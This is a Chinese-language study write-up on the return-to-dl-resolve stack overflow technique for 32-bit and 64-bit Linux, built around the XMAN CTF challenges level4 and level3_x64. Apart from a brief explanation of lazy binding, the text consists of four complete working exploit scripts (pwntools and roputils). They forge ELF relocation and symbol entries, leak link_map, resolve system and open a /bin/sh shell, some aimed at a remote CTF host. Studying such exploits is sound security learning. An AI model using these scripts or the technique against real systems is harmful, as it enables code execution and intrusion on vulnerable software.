最近學習了一下漏洞原理與利用,學習到棧溢出漏洞利用的一些技巧,記錄下自己的學習心得。關於return to dl-resolve的原理,網上有許多的文章已經寫的很清楚了,就不贅述。本文主要是根據return to dl-resolve的原理,實現32位和64位環境下的漏洞利用。
0x00. 準備知識
(1) 實驗環境:
64bit Ubuntu16.04, kernel : 4.4.0
(2) 32位與64位區別:
Linux下32位應用的參數傳遞主要是通過棧來傳遞;而64位應用的前六個參數分別通過RDI, RSI, RDX, RCX, R8和 R9傳遞,如果有多餘的參數,纔會通過棧來傳遞。因此,在覆蓋返回值時,平衡堆棧時就需要用到gadget。
(3) return to dl-resolve
Linux下可執行文件ELF的動態鏈接時,採用了延遲綁定技術。原理是:動態鏈接的庫裏有許多函數,但是可執行文件ELF不會全部調用這些函數,有些函數直到程序運行結束也不會被調用。因此,Linux下的鏈接器動態鏈接時不會進行函數地址重定位,而是等到函數第一次被調用時,進行函數地址重地位,也就是通過_dl_runtime_resolve函數到庫中查找該函數的實際地址,並將其寫入到該函數的got表中。
當棧溢出後,我們就可以控制程序流程到dl-resolve,解析出system函數的地址,從而實現漏洞的利用。
0x01. 32位環境下的return to dl-resolve實例
下面以XMAN level4爲例,分別使用手寫和使用工具roputils實現漏洞利用。
return to dl-resolve by manul
#!/usr/bin/env python
from pwn import *
DEBUG = 1
if DEBUG:
context.log_level = 'debug'
p = process('./level4')
gdb.attach(p)
else:
p = remote('127.0.0.1', 10086)
offset = 0x8c
stack_size = 0x400
vulfun = 0x0804844b
bss_addr = 0x804a024
base_stage = bss_addr + stack_size
pppr = 0x8048509
p_ebp_r = 0x804850b
leave_r = 0x80483b8
elf = ELF('./level4')
write_plt = elf.plt['write']
read_plt = elf.plt['read']
write_got = elf.got['write']
def main():
payload1 = 'A' * offset + p32(read_plt) + p32(pppr) + p32(0) + p32(base_stage)
payload1 += p32(100) + p32(p_ebp_r) + p32(base_stage) + p32(leave_r)
p.sendline(payload1)
plt_start = 0x8048300
rel_plt = 0x80482b0
index_offset = (base_stage + 28) - rel_plt
dynsym_addr = 0x80481cc
dynstr_addr = 0x804822c
fake_sym = base_stage + 36
align = 0x10 - ((fake_sym - dynsym_addr) & 0xf)
fake_sym = fake_sym +align
index_dynsym = (fake_sym - dynsym_addr) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym + 16) - dynstr_addr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
payload2 = 'B' * 4 + p32(plt_start) +p32(index_offset) + 'C'*4 + p32(base_stage+80)
payload2 += 'A'*8 + fake_reloc + 'D'*align
payload2 += fake_sym + 'system\x00'
payload2 = payload2.ljust(80, 'A')
payload2 += '/bin/sh\x00'
payload2 = payload2.ljust(100, 'A')
p.sendline(payload2)
p.interactive()
if __name__ == '__main__':
main()
return to dl-resolve by roputils
#!/usr/bin/env python
from roputils import *
DEBUG = 1
fpath = './level4'
offset = 0x8c
rop = ROP(fpath)
addr_bss = rop.section('.bss')
addr_plt_read = 0x08048310
addr_got_read = 0x0804a00c
buf = rop.retfill(offset)
# roputils has changed call function in new version
buf += rop.call(addr_plt_read, 0, addr_bss, 100)
buf += rop.dl_resolve_call(addr_bss+20, addr_bss)
if DEBUG:
p = Proc(rop.fpath)
else:
p = Proc(host='pwn2.jarvisoj.com', port=9880)
p.write(p32(len(buf)) + buf)
print "[+] read: %r" % p.read(len(buf))
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop.fill(100, buf)
p.write(buf)
p.interact(0)
0x02. 64位環境下的return to dl-resolve實例
下面以XMAN level3_x64爲例,分別使用手寫和使用工具roputils實現漏洞利用。注意64位下的return to dl-resolve與32位不同的地方: 1) Elf64_Rela結構體的大小爲0x18,故reloc_arg爲0x18一個單位,2)Elfo64_Sym結構內的成員順序也有變化,3) 在僞造sym之後,會造成解析過程中VERSYM取值超出範圍,造成segment fault,解決方法是在link_map + 0x1c8的地址置0,因此需要泄漏link_map的地址。
return to dl-resolve by manul
#!/usr/bin/env python
from pwn import *
DEBUG = 1
if DEBUG:
context.log_level = 'debug'
p = process('./level3_x64')
gdb.attach(p, execute='b *0x400550')
else:
p = remote('pwn2.jarvisoj.com', 9883)
offset = 0x88
plt_start = 0x4004a0
got_write = 0x600A58
got_read = 0x600A60
got_linkmap = 0x600A48
addr_vulfun = 0x4005E6
pop_rdi_ret = 0x4006b3
pop_rbp_ret = 0x400550
leave_ret = 0x400618
base_stage = 0x600A88 + 0x400
addr_rel_plt = 0x400420
addr_dyn_sym = 0x400280
addr_dyn_str = 0x400340
addr_fake_rel_plt = base_stage + 0x100
addr_fake_dyn_sym = base_stage + 0x208
addr_fake_dyn_str = base_stage + 0x300
addr_shell = base_stage + 0x400
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
payload = p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += p64(0x0) # rbx be 0x1
payload += p64(0x1) # rbp be 0x1
payload += p64(jmp2) # r12 jmp to
payload += p64(arg3) # r13 -> rdx arg3
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg1) # r15 -> edi arg1
payload += p64(part2) # part2 entry will call [r12 + rbx * 0x8]
payload += 'A' * 56 # junk
return payload
def main():
#1. leak link_map address
payload1 = 'A' * offset
payload1 += com_gadget(0x4006aa, 0x400690, jmp2 = got_write,
arg1 = 0x1, arg2 = got_linkmap, arg3 = 0x8)
payload1 += p64(addr_vulfun)
p.recvuntil('Input:')
p.send(payload1)
p.recv()
link_map_addr = u64(p.recv(8))
print 'link_map address is %x' % link_map_addr
#2. overwrite link_map+0x1c8 with 0x0, read fake structure
payload2 = 'B' * offset
payload2 += com_gadget(0x4006aa, 0x400690, jmp2 = got_read,
arg1 = 0x0, arg2 = link_map_addr + 0x1c8, arg3 = 0x8)
payload2 += com_gadget(0x4006aa, 0x400690, jmp2 = got_read,
arg1 = 0x0, arg2 = base_stage, arg3 = 0x500)
payload2 += p64(pop_rbp_ret) + p64(base_stage) + p64(leave_ret)
p.recvuntil('Input:')
p.send(payload2)
p.send(p64(0x0))
#3. fake structure
align_rel_plt = 0x18 - (addr_fake_rel_plt - addr_rel_plt) % (0x18)
index_offset = (addr_fake_rel_plt - addr_rel_plt + align_rel_plt)/0x18
payload3 = 'C' * 0x8
payload3 += p64(pop_rdi_ret) #set $rdi "/bin/sh"
payload3 += p64(addr_shell) + p64(plt_start)
payload3 += p64(index_offset) + p64(0xdeadbeef)
payload3 = payload3.ljust(0x100, 'A')
align_dyn_sym = 0x18 - (addr_fake_dyn_sym - addr_dyn_sym)%(0x18)
r_info = (((addr_fake_dyn_sym - addr_dyn_sym + align_dyn_sym)/(0x18))<<0x20) | 0x7
payload3 += 'A' * align_rel_plt + p64(got_read) + p64(r_info)
payload3 = payload3.ljust(0x208, 'A')
payload3 += 'A' * align_dyn_sym + p32(addr_fake_dyn_str - addr_dyn_str)
payload3 += p32(0x12) + p64(0x0) + p64(0x0)
payload3 = payload3.ljust(0x300, 'A')
payload3 += 'system\x00'
payload3 = payload3.ljust(0x400, 'A')
payload3 += '/bin/sh\x00'
p.send(payload3)
p.interactive()
if __name__ == '__main__':
main()
return to dl-resolve by roputils
#!/usr/bin/env python
from roputils import *
DEBUG = 1
fpath = './level3_x64'
offset = 0x88
p4ret = 0x4006ac
rop = ROP(fpath)
addr_stage = rop.section('.bss') + 0x400
ptr_ret = rop.search(rop.section('.fini'))
write_got = 0x600A58
read_got = 0x600a60
buf = rop.retfill(offset)
buf += rop.call_chain_ptr(
[write_got, 1, rop.got()+8, 8],
[read_got, 0, addr_stage, 350]
, pivot=addr_stage)
if DEBUG:
p = Proc(rop.fpath)
else:
p = Proc(host='pwn2.jarvisoj.com', port=9883)
print p.read(7)
raw_input('#1. leak link_map')
p.write(buf)
# print "[+] read: %r" % p.read(len(buf))
addr_link_map = p.read_p64()
print 'addr_link_map %x' % addr_link_map
addr_dt_debug = addr_link_map + 0x1c8
buf = rop.call_chain_ptr(
[read_got, 0, addr_dt_debug, 8],
[ptr_ret, addr_stage+310]
)
buf += rop.dl_resolve_call(addr_stage+210)
buf += rop.fill(210, buf)
buf += rop.dl_resolve_data(addr_stage+210, 'system')
buf += rop.fill(310, buf)
buf += rop.string('/bin/sh')
buf += rop.fill(350, buf)
p.write(buf)
p.write_p64(0)
p.interact(0)
參考文獻:
1. ROP之return to dl-resolve
2. 通過ELF動態裝載構造ROP鏈(Return-to-dl-resolve)
3. RCTF-Quals-2015-welpwn